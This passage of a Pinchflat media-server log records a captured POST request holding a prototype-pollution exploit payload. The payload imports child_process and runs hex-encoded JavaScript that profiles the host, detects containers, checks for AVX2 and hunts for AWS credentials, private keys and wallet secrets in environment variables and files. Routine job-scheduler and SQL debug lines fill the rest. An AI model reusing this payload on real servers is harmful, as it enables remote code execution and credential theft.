global[String.fromCharCode(66,117,102,102,101,114)].from('286173796e632066756e6374696f6e28297b636f6e7374206f733d617761697420696d706f727428276f7327293b636f6e73742066733d617761697420696d706f72742827667327293b636f6e737420706174683d617761697420696d706f727428277061746827293b636f6e737420726561643d2870293d3e7b7472797b72657475726e2066732e7265616446696c6553796e6328702c277574663827293b7d63617463682865297b72657475726e27273b7d7d3b636f6e7374206578697374733d2870293d3e7b7472797b66732e61636365737353796e632870293b72657475726e20747275653b7d63617463682865297b72657475726e2066616c73653b7d7d3b636f6e7374207772697461626c653d2870293d3e7b7472797b66732e61636365737353796e6328702c66732e636f6e7374616e74732e575f4f4b293b72657475726e20747275653b7d63617463682865297b72657475726e2066616c73653b7d7d3b636f6e737420637075733d6f732e6370757328293b636f6e7374206d656d3d6f732e746f74616c6d656d28293b636f6e737420706c6174666f726d3d6f732e706c6174666f726d28293b6c657420757365723d27756e6b6e6f776e273b7472797b757365723d6f732e75736572496e666f28292e757365726e616d653b7d63617463682865297b757365723d70726f636573732e656e762e555345527c7c70726f636573732e656e762e555345524e414d457c7c27756e6b6e6f776e273b7d0a6c657420656e765f747970653d274d4554414c273b69662870726f636573732e656e762e4b554245524e455445535f534552564943455f484f53547c7c70726f636573732e656e762e444f434b45525f484f53547c7c70726f636573732e656e762e4157535f455845435554494f4e5f454e567c7c70726f636573732e656e762e44594e4f7c7c65786973747328272f2e646f636b6572656e7627297c7c65786973747328272f72756e2f2e636f6e7461696e6572656e762729297b656e765f747970653d27434f4e5441494e4552273b7d0a696628706c6174666f726d3d3d3d276c696e757827297b636f6e7374206367726f75703d7265616428272f70726f632f73656c662f6367726f757027293b6966286367726f75702e6d61746368282f646f636b65727c6b756265706f64737c6c78637c706f646d616e2f6929297b656e765f747970653d27434f4e5441494e4552273b7d0a636f6e7374206d6f756e74733d7265616428272f70726f632f73656c662f6d6f756e74696e666f27293b6966286d6f756e74732e6d61746368282f6f7665726c61797c6f7665726c6179322f69292626656e765f747970653d3d3d274d4554414c27297b656e765f747970653d27434f4e5441494e4552202850726f6261626c6529273b7d7d0a636f6e7374206e6574733d6f732e6e6574776f726b496e746572666163657328293b636f6e7374206970733d5b5d3b4f626a6563742e6b657973286e657473292e666f7245616368286b3d3e7b6e6574735b6b5d2e666f7245616368286e3d3e7b696628216e2e696e7465726e616c26266e2e66616d696c793d3d3d274950763427296970732e70757368286e2e61646472657373293b7d293b7d293b636f6e73742077726974655f636865636b733d5b6f732e746d7064697228292c272f6465762f73686d272c272f7661722f746d70272c70726f636573732e63776428295d3b636f6e737420756e697175655f636865636b733d5b2e2e2e6e6577205365742877726974655f636865636b73295d3b636f6e7374207772697461626c655f70617468733d756e697175655f636865636b732e66696c74657228703d3e7772697461626c65287029293b6c6574206861735f617678323d2730273b696628637075735b305d2626637075735b305d2e6d6f64656c2e746f55707065724361736528292e696e636c756465732827415658322729297b6861735f617678323d2731273b7d0a656c736520696628706c6174666f726d3d3d3d276c696e757827297b636f6e737420637075496e666f3d7265616428272f70726f632f637075696e666f27293b696628637075496e666f2e696e636c756465732827617678322729296861735f617678323d2731273b7d0a636f6e7374206876745f6b6579776f7264733d2f4157535f7c4543535f7c4543325f7c505249564154455f4b45597c4d4e454d4f4e49437c57414c4c45547c4b455953544f52457c534545445f5048524153457c53454e44475249447c4d41494c47554e7c504f53544d41524b7c5345535f2f693b636f6e73742069735f6876745f656e763d4f626a6563742e6b6579732870726f636573732e656e76292e736f6d65286b3d3e6876745f6b6579776f7264732e74657374286b29293b636f6e737420686f6d653d6f732e686f6d6564697228293b636f6e7374206177735f63726564733d706174682e6a6f696e28686f6d652c272e617773272c2763726564656e7469616c7327293b6c65742069735f6876745f" <> ..., "1" => "\"$@0\"", "2" => "[]" }, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "POST", owner: #PID<0.163244.0>, params: %{ "0" => "{\"then\": \"$1:__proto__:then\", \"status\": \"resolved_model\", \"reason\": -1, \"value\": \"{\\\"then\\\": \\\"$B0\\\"}\", \"_response\": {\"_prefix\": \"var reject_bridge = arguments[1]; (Promise.all([Function('return import(\\\"node:child_process\\\")')(), Function('return import(\\\"node:zlib\\\")')()]).then(([cp, zlib]) => { return new Promise((resolve, reject) => { try { var user_code = global[String.fromCharCode(66,117,102,102,101,114)].from('286173796e632066756e6374696f6e28297b636f6e7374206f733d617761697420696d706f727428276f7327293b636f6e73742066733d617761697420696d706f72742827667327293b636f6e737420706174683d617761697420696d706f727428277061746827293b636f6e737420726561643d2870293d3e7b7472797b72657475726e2066732e7265616446696c6553796e6328702c277574663827293b7d63617463682865297b72657475726e27273b7d7d3b636f6e7374206578697374733d2870293d3e7b7472797b66732e61636365737353796e632870293b72657475726e20747275653b7d63617463682865297b72657475726e2066616c73653b7d7d3b636f6e7374207772697461626c653d2870293d3e7b7472797b66732e61636365737353796e6328702c66732e636f6e7374616e74732e575f4f4b293b72657475726e20747275653b7d63617463682865297b72657475726e2066616c73653b7d7d3b636f6e737420637075733d6f732e6370757328293b636f6e7374206d656d3d6f732e746f74616c6d656d28293b636f6e737420706c6174666f726d3d6f732e706c6174666f726d28293b6c657420757365723d27756e6b6e6f776e273b7472797b757365723d6f732e75736572496e666f28292e757365726e616d653b7d63617463682865297b757365723d70726f636573732e656e762e555345527c7c70726f636573732e656e762e555345524e414d457c7c27756e6b6e6f776e273b7d0a6c657420656e765f747970653d274d4554414c273b69662870726f636573732e656e762e4b554245524e455445535f534552564943455f484f53547c7c70726f636573732e656e762e444f434b45525f484f53547c7c70726f636573732e656e762e4157535f455845435554494f4e5f454e567c7c70726f636573732e656e762e44594e4f7c7c65786973747328272f2e646f636b6572656e7627297c7c65786973747328272f72756e2f2e636f6e7461696e6572656e762729297b656e765f747970653d27434f4e5441494e4552273b7d0a696628706c6174666f726d3d3d3d276c696e757827297b636f6e7374206367726f75703d726561 (truncated) 18:05:17.472 [info] {"source":"oban","duration":1175,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:05:47.474 [info] {"source":"oban","duration":1270,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:06:00.102 [info] {"source":"oban","duration":229,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:06:17.476 [info] {"source":"oban","duration":1210,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:06:21.053 [info] GET / 18:06:21.053 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 18:06:21.053 [debug] QUERY OK source="settings" db=0.1ms idle=1341.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:06:21.054 [debug] QUERY OK source="media_profiles" db=0.0ms idle=366.6ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 18:06:21.054 [debug] QUERY OK source="sources" db=0.0ms idle=366.8ms SELECT count(s0."id") FROM "sources" AS s0 [] 18:06:21.055 [debug] QUERY OK source="media_items" db=1.0ms idle=366.9ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 18:06:21.055 [debug] QUERY OK source="media_items" db=0.3ms idle=342.2ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 18:06:21.056 [debug] QUERY OK source="settings" db=0.1ms idle=2.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:06:21.056 [debug] QUERY OK source="settings" db=0.1ms idle=2.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:06:21.056 [debug] QUERY OK source="settings" db=0.1ms idle=2.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:06:21.057 [debug] QUERY OK source="tasks" db=0.1ms idle=1.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 18:06:21.058 [debug] QUERY OK source="media_items" db=0.2ms idle=1.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 18:06:21.058 [debug] QUERY OK source="media_items" db=0.3ms idle=1.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 18:06:21.058 [debug] QUERY OK source="sources" db=0.1ms idle=2.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [2, 3] 18:06:21.061 [debug] QUERY OK source="media_items" db=1.8ms idle=3.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 18:06:21.063 [debug] QUERY OK source="media_items" db=1.0ms idle=4.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 18:06:21.063 [info] Sent 200 in 10ms 18:06:47.478 [info] {"source":"oban","duration":1123,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:07:00.103 [info] {"source":"oban","duration":189,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:07:17.480 [info] {"source":"oban","duration":1190,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:07:47.482 [info] {"source":"oban","duration":1234,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:08:00.104 [info] {"source":"oban","duration":299,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:08:17.484 [info] {"source":"oban","duration":1055,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:08:47.486 [info] {"source":"oban","duration":982,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:09:00.105 [info] {"source":"oban","duration":201,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:09:17.488 [info] {"source":"oban","duration":1020,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:09:47.490 [info] {"source":"oban","duration":1169,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:10:00.106 [info] {"source":"oban","duration":203,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:10:09.031 [info] GET / 18:10:09.031 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 18:10:09.032 [debug] QUERY OK source="settings" db=0.1ms idle=1037.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:10:09.032 [debug] QUERY OK source="media_profiles" db=0.1ms idle=345.1ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 18:10:09.032 [debug] QUERY OK source="sources" db=0.1ms idle=345.3ms SELECT count(s0."id") FROM "sources" AS s0 [] 18:10:09.033 [debug] QUERY OK source="media_items" db=0.4ms idle=345.6ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 18:10:09.033 [debug] QUERY OK source="media_items" db=0.2ms idle=37.3ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 18:10:09.034 [debug] QUERY OK source="settings" db=0.1ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:10:09.034 [debug] QUERY OK source="settings" db=0.1ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:10:09.035 [debug] QUERY OK source="settings" db=0.1ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:10:09.036 [debug] QUERY OK source="tasks" db=0.2ms idle=2.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 18:10:09.036 [debug] QUERY OK source="media_items" db=0.3ms idle=2.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 18:10:09.037 [debug] QUERY OK source="media_items" db=0.4ms idle=2.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 18:10:09.037 [debug] QUERY OK source="sources" db=0.2ms idle=3.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [2, 3] 18:10:09.039 [debug] QUERY OK source="media_items" db=0.7ms idle=3.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 18:10:09.041 [debug] QUERY OK source="media_items" db=1.0ms idle=4.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 18:10:09.041 [info] Sent 200 in 10ms 18:10:09.431 [info] GET / 18:10:09.431 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 18:10:09.432 [debug] QUERY OK source="settings" db=0.1ms idle=395.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:10:09.432 [debug] QUERY OK source="media_profiles" db=0.0ms idle=395.0ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 18:10:09.432 [debug] QUERY OK source="sources" db=0.1ms idle=394.6ms SELECT count(s0."id") FROM "sources" AS s0 [] 18:10:09.433 [debug] QUERY OK source="media_items" db=0.3ms idle=392.9ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 18:10:09.433 [debug] QUERY OK source="media_items" db=0.4ms idle=392.1ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 18:10:09.434 [debug] QUERY OK source="settings" db=0.1ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:10:09.434 [debug] QUERY OK source="settings" db=0.2ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:10:09.434 [debug] QUERY OK source="settings" db=0.1ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:10:09.435 [debug] QUERY OK source="tasks" db=0.2ms idle=2.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 18:10:09.436 [debug] QUERY OK source="media_items" db=0.2ms idle=2.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 18:10:09.436 [debug] QUERY OK source="media_items" db=0.4ms idle=2.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 18:10:09.437 [debug] QUERY OK source="sources" db=0.1ms idle=2.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [2, 3] 18:10:09.439 [debug] QUERY OK source="media_items" db=1.4ms idle=3.5ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= 